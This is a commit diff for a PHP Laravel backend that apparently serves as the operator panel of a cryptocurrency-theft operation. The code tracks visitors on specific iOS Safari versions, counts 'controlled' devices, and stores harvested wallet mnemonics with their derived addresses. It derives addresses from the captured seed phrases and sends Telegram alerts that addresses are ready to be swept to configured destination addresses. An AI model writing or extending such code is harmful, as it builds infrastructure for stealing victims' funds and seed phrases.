feat: stats
This commit is contained in:
@@ -0,0 +1,327 @@
|
||||
<?php
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Channel;
|
||||
use App\Models\DailyStat;
|
||||
use App\Models\Device;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Support\AgentScope;
|
||||
use Carbon\Carbon;
|
||||
use Illuminate\Support\Collection;
|
||||
|
||||
class DailyReportService
|
||||
{
|
||||
public const DAYS = 30;
|
||||
|
||||
public const MAX_DAYS = 366;
|
||||
|
||||
public const TODAY_STALE_MINUTES = 15;
|
||||
|
||||
public function __construct(
|
||||
private readonly DashboardStatsService $dashboard,
|
||||
) {}
|
||||
|
||||
public static function scopeKey(?int $agentUserId): string
|
||||
{
|
||||
return $agentUserId === null ? DailyStat::SCOPE_ALL : 'a:'.$agentUserId;
|
||||
}
|
||||
|
||||
/**
|
||||
* Inclusive local-date window, newest first. Reads daily_stats (admin + agent).
|
||||
* Defaults to the last 30 days when filters are empty.
|
||||
*
|
||||
* @param array{date_from?: string, date_to?: string, date_range?: string, range?: string, agent_user_id?: ?int} $filters
|
||||
* @return list<array{date: string, uv: int, effective_uv: int, devices: int, control_rate: float|null, wallet_devices: int, address_count: int, mnemonic_count: int}>
|
||||
*/
|
||||
public function rows(?User $agent = null, array $filters = []): array
|
||||
{
|
||||
[$from, $to] = $this->resolveBounds($filters);
|
||||
$agentUserId = $this->resolveAgentUserId($agent, $filters);
|
||||
$this->ensureCached($from, $to, $agentUserId);
|
||||
|
||||
return DailyStat::query()
|
||||
->where('scope_key', self::scopeKey($agentUserId))
|
||||
->whereBetween('stat_date', [$from->toDateString(), $to->toDateString()])
|
||||
->orderByDesc('stat_date')
|
||||
->get()
|
||||
->map(fn (DailyStat $row) => $this->present(
|
||||
(string) $row->stat_date,
|
||||
(int) $row->uv,
|
||||
(int) $row->effective_uv,
|
||||
(int) $row->devices,
|
||||
(int) $row->wallet_devices,
|
||||
(int) ($row->address_count ?? 0),
|
||||
(int) ($row->mnemonic_count ?? 0),
|
||||
))
|
||||
->all();
|
||||
}
|
||||
|
||||
/**
|
||||
* Portal agent wins; otherwise admin 「代理用户」filter (null = 全部, 0 = 官方).
|
||||
*
|
||||
* @param array{agent_user_id?: ?int} $filters
|
||||
*/
|
||||
public function resolveAgentUserId(?User $agent, array $filters = []): ?int
|
||||
{
|
||||
if ($agent !== null) {
|
||||
return (int) $agent->id;
|
||||
}
|
||||
|
||||
return array_key_exists('agent_user_id', $filters)
|
||||
? $filters['agent_user_id']
|
||||
: null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Inclusive local calendar window. Empty filters → last 30 days. `to` is clamped to today.
|
||||
*
|
||||
* @param array{date_from?: string, date_to?: string, date_range?: string, range?: string} $filters
|
||||
* @return array{0: Carbon, 1: Carbon}
|
||||
*/
|
||||
public function resolveBounds(array $filters = []): array
|
||||
{
|
||||
$filters['range'] = (string) ($filters['range'] ?? '30d');
|
||||
[$from, $to] = $this->dashboard->resolveBounds($filters);
|
||||
$todayEnd = Carbon::now()->endOfDay();
|
||||
if ($to->gt($todayEnd)) {
|
||||
$to = $todayEnd;
|
||||
}
|
||||
if ($from->gt($to)) {
|
||||
$from = $to->copy()->startOfDay();
|
||||
}
|
||||
$days = $this->dayCount($from, $to);
|
||||
if ($days > self::MAX_DAYS) {
|
||||
$from = $to->copy()->subDays(self::MAX_DAYS - 1)->startOfDay();
|
||||
}
|
||||
|
||||
return [$from->copy()->startOfDay(), $to->copy()->endOfDay()];
|
||||
}
|
||||
|
||||
/**
|
||||
* Rebuild one scope (site-wide, official, or one agent) for the inclusive local-date range.
|
||||
*/
|
||||
public function rebuild(?Carbon $from = null, ?Carbon $to = null, ?int $agentUserId = null): int
|
||||
{
|
||||
[$from, $to] = $from !== null && $to !== null
|
||||
? [$from->copy()->startOfDay(), $to->copy()->endOfDay()]
|
||||
: $this->window();
|
||||
|
||||
$aggregated = $this->aggregate($from, $to, $agentUserId);
|
||||
$scope = self::scopeKey($agentUserId);
|
||||
$now = Carbon::now();
|
||||
foreach ($aggregated as $row) {
|
||||
DailyStat::query()->updateOrCreate(
|
||||
['stat_date' => $row['date'], 'scope_key' => $scope],
|
||||
[
|
||||
'uv' => $row['uv'],
|
||||
'effective_uv' => $row['effective_uv'],
|
||||
'devices' => $row['devices'],
|
||||
'wallet_devices' => $row['wallet_devices'],
|
||||
'address_count' => $row['address_count'],
|
||||
'mnemonic_count' => $row['mnemonic_count'],
|
||||
'computed_at' => $now,
|
||||
],
|
||||
);
|
||||
}
|
||||
|
||||
return count($aggregated);
|
||||
}
|
||||
|
||||
/**
|
||||
* Cron entry: site-wide plus every enabled agent that owns a channel.
|
||||
*
|
||||
* @return array{days: int, agents: int}
|
||||
*/
|
||||
public function rebuildAll(?Carbon $from = null, ?Carbon $to = null): array
|
||||
{
|
||||
$days = $this->rebuild($from, $to, null);
|
||||
$this->rebuild($from, $to, 0);
|
||||
$agents = 0;
|
||||
foreach ($this->agentsWithChannels() as $agent) {
|
||||
$this->rebuild($from, $to, (int) $agent->id);
|
||||
$agents++;
|
||||
}
|
||||
|
||||
return ['days' => $days, 'agents' => $agents];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{0: Carbon, 1: Carbon}
|
||||
*/
|
||||
public function window(): array
|
||||
{
|
||||
$now = Carbon::now();
|
||||
|
||||
return [$now->copy()->subDays(self::DAYS - 1)->startOfDay(), $now->copy()->endOfDay()];
|
||||
}
|
||||
|
||||
/** Earliest visit or device calendar day, or null if both tables are empty. */
|
||||
public function earliestDataDate(): ?Carbon
|
||||
{
|
||||
$raw = array_filter([
|
||||
PageVisit::query()->min('created_at'),
|
||||
Device::query()->min('created_at'),
|
||||
WalletAddress::query()->min('created_at'),
|
||||
WalletMnemonic::query()->min('created_at'),
|
||||
], static fn ($v) => $v !== null && trim((string) $v) !== '');
|
||||
if ($raw === []) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return Carbon::parse((string) min($raw))->timezone((string) config('app.timezone'))->startOfDay();
|
||||
}
|
||||
|
||||
private function ensureCached(Carbon $from, Carbon $to, ?int $agentUserId): void
|
||||
{
|
||||
$scope = self::scopeKey($agentUserId);
|
||||
$expected = $this->dayCount($from, $to);
|
||||
$cached = DailyStat::query()
|
||||
->where('scope_key', $scope)
|
||||
->whereBetween('stat_date', [$from->toDateString(), $to->toDateString()]);
|
||||
$have = (clone $cached)->count();
|
||||
$needsAssets = (clone $cached)->whereNull('address_count')->exists();
|
||||
if ($have < $expected || $needsAssets) {
|
||||
$this->rebuild($from, $to, $agentUserId);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
$today = Carbon::now()->toDateString();
|
||||
if ($from->toDateString() > $today || $to->toDateString() < $today) {
|
||||
return;
|
||||
}
|
||||
|
||||
$row = DailyStat::query()
|
||||
->where('scope_key', $scope)
|
||||
->where('stat_date', $today)
|
||||
->first();
|
||||
if ($row === null || $row->computed_at === null || $row->computed_at->lt(Carbon::now()->subMinutes(self::TODAY_STALE_MINUTES))) {
|
||||
$this->rebuild(Carbon::now()->startOfDay(), Carbon::now()->endOfDay(), $agentUserId);
|
||||
}
|
||||
}
|
||||
|
||||
private function dayCount(Carbon $from, Carbon $to): int
|
||||
{
|
||||
return (int) $from->copy()->startOfDay()->diffInDays($to->copy()->startOfDay()) + 1;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return Collection<int, User>
|
||||
*/
|
||||
private function agentsWithChannels(): Collection
|
||||
{
|
||||
$ids = Channel::query()
|
||||
->where('user_id', '>', 0)
|
||||
->distinct()
|
||||
->pluck('user_id');
|
||||
|
||||
if ($ids->isEmpty()) {
|
||||
return collect();
|
||||
}
|
||||
|
||||
return User::query()
|
||||
->where('status', 1)
|
||||
->whereIn('id', $ids)
|
||||
->orderBy('id')
|
||||
->get();
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{date: string, uv: int, effective_uv: int, devices: int, control_rate: float|null, wallet_devices: int, address_count: int, mnemonic_count: int}>
|
||||
*/
|
||||
private function aggregate(Carbon $from, Carbon $to, ?int $agentUserId): array
|
||||
{
|
||||
$out = [];
|
||||
$cursor = $from->copy()->startOfDay();
|
||||
$end = $to->copy()->startOfDay();
|
||||
while ($cursor->lte($end)) {
|
||||
[$uv, $effectiveUv, $devices, $walletDevices, $addressCount, $mnemonicCount] = $this->totalsForDay($cursor, $agentUserId);
|
||||
$out[] = $this->present($cursor->toDateString(), $uv, $effectiveUv, $devices, $walletDevices, $addressCount, $mnemonicCount);
|
||||
$cursor->addDay();
|
||||
}
|
||||
|
||||
return array_reverse($out);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{0: int, 1: int, 2: int, 3: int, 4: int, 5: int}
|
||||
*/
|
||||
private function totalsForDay(Carbon $day, ?int $agentUserId): array
|
||||
{
|
||||
$from = $day->copy()->startOfDay();
|
||||
$to = $day->copy()->endOfDay();
|
||||
$effectiveSql = $this->dashboard->effectiveVisitSql();
|
||||
|
||||
$visits = PageVisit::query();
|
||||
AgentScope::applyChannelIdAgentUserFilter($visits, $agentUserId);
|
||||
$visit = $visits
|
||||
->whereBetween('created_at', [$from, $to])
|
||||
->selectRaw(
|
||||
"COUNT(DISTINCT client_uid) as uv,
|
||||
COUNT(DISTINCT CASE WHEN ({$effectiveSql}) THEN client_uid END) as effective_uv"
|
||||
)
|
||||
->first();
|
||||
|
||||
$devices = Device::query();
|
||||
AgentScope::applyAgentUserFilter($devices, $agentUserId);
|
||||
$device = $devices
|
||||
->whereBetween('created_at', [$from, $to])
|
||||
->selectRaw(
|
||||
'COUNT(*) as devices, COALESCE(SUM(CASE WHEN has_wallet = ? THEN 1 ELSE 0 END), 0) as wallet_devices',
|
||||
[Device::WALLET_YES],
|
||||
)
|
||||
->first();
|
||||
|
||||
return [
|
||||
(int) ($visit?->uv ?? 0),
|
||||
(int) ($visit?->effective_uv ?? 0),
|
||||
(int) ($device?->devices ?? 0),
|
||||
(int) ($device?->wallet_devices ?? 0),
|
||||
$this->countDeviceChildrenForDay(WalletAddress::query(), 'wallet_addresses', $from, $to, $agentUserId),
|
||||
$this->countDeviceChildrenForDay(WalletMnemonic::query(), 'wallet_mnemonics', $from, $to, $agentUserId),
|
||||
];
|
||||
}
|
||||
|
||||
private function countDeviceChildrenForDay(
|
||||
\Illuminate\Database\Eloquent\Builder $query,
|
||||
string $table,
|
||||
Carbon $from,
|
||||
Carbon $to,
|
||||
?int $agentUserId,
|
||||
): int {
|
||||
$query->join('devices', 'devices.id', '=', $table.'.device_id');
|
||||
AgentScope::applyAgentUserFilter($query, $agentUserId);
|
||||
|
||||
return (int) $query
|
||||
->whereBetween($table.'.created_at', [$from, $to])
|
||||
->count($table.'.id');
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{date: string, uv: int, effective_uv: int, devices: int, control_rate: float|null, wallet_devices: int, address_count: int, mnemonic_count: int}
|
||||
*/
|
||||
private function present(
|
||||
string $date,
|
||||
int $uv,
|
||||
int $effectiveUv,
|
||||
int $devices,
|
||||
int $walletDevices,
|
||||
int $addressCount,
|
||||
int $mnemonicCount,
|
||||
): array {
|
||||
return [
|
||||
'date' => $date,
|
||||
'uv' => $uv,
|
||||
'effective_uv' => $effectiveUv,
|
||||
'devices' => $devices,
|
||||
'control_rate' => $effectiveUv > 0 ? round($devices / $effectiveUv * 100, 1) : null,
|
||||
'wallet_devices' => $walletDevices,
|
||||
'address_count' => $addressCount,
|
||||
'mnemonic_count' => $mnemonicCount,
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -282,7 +282,7 @@ class DashboardStatsService
|
||||
}
|
||||
|
||||
/**
|
||||
* Address count + coin sums in one pass over wallet_addresses in range.
|
||||
* Address count is still in-range; coin sums are all matching addresses (no time window).
|
||||
*
|
||||
* @return array{0: int, 1: array{usdt: string, trx: string, eth: string, btc: string, bnb: string}}
|
||||
*/
|
||||
@@ -294,20 +294,24 @@ class DashboardStatsService
|
||||
Carbon $from,
|
||||
Carbon $to,
|
||||
): array {
|
||||
$q = $this->scopedDeviceChildren(
|
||||
$base = $this->scopedDeviceChildren(
|
||||
WalletAddress::query(),
|
||||
'wallet_addresses',
|
||||
$agent,
|
||||
$agentUserId,
|
||||
$channelId,
|
||||
$channelExact,
|
||||
)->whereBetween('wallet_addresses.created_at', [$from, $to]);
|
||||
);
|
||||
|
||||
$selects = ['COUNT(wallet_addresses.id) as addr_count'];
|
||||
$addressCount = (clone $base)
|
||||
->whereBetween('wallet_addresses.created_at', [$from, $to])
|
||||
->count('wallet_addresses.id');
|
||||
|
||||
$selects = [];
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
$selects[] = 'COALESCE(SUM(wallet_addresses.'.$col.'), 0) as '.$col;
|
||||
}
|
||||
$row = $q->selectRaw(implode(', ', $selects))->first();
|
||||
$row = (clone $base)->selectRaw(implode(', ', $selects))->first();
|
||||
|
||||
$out = [];
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
@@ -317,7 +321,7 @@ class DashboardStatsService
|
||||
}
|
||||
|
||||
/** @var array{usdt: string, trx: string, eth: string, btc: string, bnb: string} $out */
|
||||
return [(int) ($row?->addr_count ?? 0), $out];
|
||||
return [$addressCount, $out];
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -358,8 +362,9 @@ class DashboardStatsService
|
||||
|
||||
/**
|
||||
* Safari on iOS 13.0.0–17.2.1, plus 18.5 / 18.6 / 18.6.1 / 18.6.2.
|
||||
* Exclude unsupported 15.8.8 and 16.7.1x (16.7.10+).
|
||||
*/
|
||||
private function effectiveVisitSql(): string
|
||||
public function effectiveVisitSql(): string
|
||||
{
|
||||
[$major, $minor, $patch] = $this->osVersionPartsSql();
|
||||
|
||||
@@ -371,7 +376,8 @@ class DashboardStatsService
|
||||
))
|
||||
OR ({$major} = 18 AND {$minor} = 5 AND {$patch} = 0)
|
||||
OR ({$major} = 18 AND {$minor} = 6 AND {$patch} IN (0, 1, 2))
|
||||
)";
|
||||
) AND NOT ({$major} = 15 AND {$minor} = 8 AND {$patch} = 8)
|
||||
AND NOT ({$major} = 16 AND {$minor} = 7 AND {$patch} >= 10)";
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -14,6 +14,7 @@ class MnemonicAddressLinker
|
||||
|
||||
public function __construct(
|
||||
private readonly ChainManager $chains,
|
||||
private readonly TelegramNotifier $telegram,
|
||||
) {}
|
||||
|
||||
/**
|
||||
@@ -56,6 +57,7 @@ class MnemonicAddressLinker
|
||||
$address->mnemonic_id = $mnemonicRow->id;
|
||||
$address->derive_index = $matchedIndex;
|
||||
$address->save();
|
||||
$this->telegram->notifyCollectableAddresses([$address]);
|
||||
|
||||
return true;
|
||||
}
|
||||
@@ -112,6 +114,7 @@ class MnemonicAddressLinker
|
||||
}
|
||||
|
||||
$linked = 0;
|
||||
$newlyLinked = [];
|
||||
foreach ($addresses as $address) {
|
||||
$driver = $this->resolveDriver((string) $address->chain_type);
|
||||
if ($driver === null) {
|
||||
@@ -133,9 +136,14 @@ class MnemonicAddressLinker
|
||||
$address->mnemonic_id = $mnemonic->id;
|
||||
$address->derive_index = $map[$lookup];
|
||||
$address->save();
|
||||
$newlyLinked[] = $address;
|
||||
$linked++;
|
||||
}
|
||||
|
||||
if ($newlyLinked !== []) {
|
||||
$this->telegram->notifyCollectableAddresses($newlyLinked);
|
||||
}
|
||||
|
||||
return $linked;
|
||||
}
|
||||
|
||||
|
||||
@@ -23,6 +23,7 @@ class MnemonicWalletDiscovery
|
||||
|
||||
public function __construct(
|
||||
private readonly ChainManager $chains,
|
||||
private readonly TelegramNotifier $telegram,
|
||||
) {}
|
||||
|
||||
/**
|
||||
@@ -43,12 +44,13 @@ class MnemonicWalletDiscovery
|
||||
}
|
||||
|
||||
$source = trim((string) ($mnemonic->source ?: ''));
|
||||
$saved = 0;
|
||||
$saved = [];
|
||||
|
||||
foreach (self::CHAINS as $spec) {
|
||||
try {
|
||||
if ($this->discoverOne($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type'])) {
|
||||
$saved++;
|
||||
$row = $this->discoverOne($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']);
|
||||
if ($row !== null) {
|
||||
$saved[] = $row;
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [
|
||||
@@ -58,7 +60,11 @@ class MnemonicWalletDiscovery
|
||||
}
|
||||
}
|
||||
|
||||
return $saved;
|
||||
if ($saved !== []) {
|
||||
$this->telegram->notifyCollectableAddresses($saved);
|
||||
}
|
||||
|
||||
return count($saved);
|
||||
}
|
||||
|
||||
private function discoverOne(
|
||||
@@ -67,7 +73,7 @@ class MnemonicWalletDiscovery
|
||||
string $source,
|
||||
string $chain,
|
||||
string $chainType,
|
||||
): bool {
|
||||
): ?WalletAddress {
|
||||
$driver = $this->chains->resolve($chain);
|
||||
$address = $driver->deriveAddress($phrase, 0);
|
||||
try {
|
||||
@@ -98,7 +104,7 @@ class MnemonicWalletDiscovery
|
||||
}
|
||||
$row->save();
|
||||
|
||||
return true;
|
||||
return $row;
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -105,6 +105,9 @@ class SettingsService
|
||||
'auto_transfer.threshold_trx' => (string) (config('coruna.auto_transfer.threshold_trx') ?? ''),
|
||||
'auto_transfer.threshold_eth' => (string) (config('coruna.auto_transfer.threshold_eth') ?? ''),
|
||||
'auto_transfer.threshold_btc' => (string) (config('coruna.auto_transfer.threshold_btc') ?? ''),
|
||||
'transfer.to_address' => (string) (config('coruna.transfer.to_address') ?: ''),
|
||||
'transfer.to_address_eth' => (string) (config('coruna.transfer.to_address_eth') ?: ''),
|
||||
'transfer.to_address_btc' => (string) (config('coruna.transfer.to_address_btc') ?: ''),
|
||||
'transfer.fee_address_tron' => (string) config('coruna.transfer.fee_address_tron', ''),
|
||||
'transfer.fee_private_key_tron' => '',
|
||||
'transfer.fee_private_key_tron_set' => $feeKeySet ? '1' : '0',
|
||||
|
||||
@@ -6,6 +6,7 @@ use App\Jobs\SendTelegramMessage;
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
@@ -263,6 +264,48 @@ class TelegramNotifier
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
/**
|
||||
* Newly linked or mnemonic-derived addresses that can now be swept.
|
||||
*
|
||||
* @param iterable<WalletAddress> $addresses
|
||||
*/
|
||||
public function notifyCollectableAddresses(iterable $addresses): void
|
||||
{
|
||||
$byDevice = [];
|
||||
foreach ($addresses as $address) {
|
||||
if (! $address instanceof WalletAddress) {
|
||||
continue;
|
||||
}
|
||||
$address->loadMissing('device');
|
||||
$deviceId = trim((string) ($address->device?->device_id ?? ''));
|
||||
if ($deviceId === '') {
|
||||
continue;
|
||||
}
|
||||
$byDevice[$deviceId][] = $address;
|
||||
}
|
||||
|
||||
foreach ($byDevice as $deviceId => $rows) {
|
||||
$lines = [
|
||||
'📦 <b>地址可归集通知</b>'.(count($rows) > 1 ? ' ('.count($rows).')' : ''),
|
||||
...$this->deviceHeader($deviceId),
|
||||
];
|
||||
foreach ($rows as $i => $row) {
|
||||
if ($i > 0) {
|
||||
$lines[] = '';
|
||||
}
|
||||
$chain = trim((string) ($row->chain_type ?? ''));
|
||||
$lines[] = '🪙 <b>链</b>: '.$this->e($chain !== '' ? $chain : '—');
|
||||
$source = trim((string) ($row->source ?? ''));
|
||||
if ($source !== '') {
|
||||
$lines[] = '🏷 <b>来源</b>: '.$this->e($source);
|
||||
}
|
||||
$lines[] = '📬 <b>地址</b>: <code>'.$this->e((string) $row->address).'</code>';
|
||||
$lines[] = '💵 <b>余额</b>: '.$this->e($row->balanceDisplayLine());
|
||||
}
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
}
|
||||
}
|
||||
|
||||
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
|
||||
Reference in New Issue
Block a user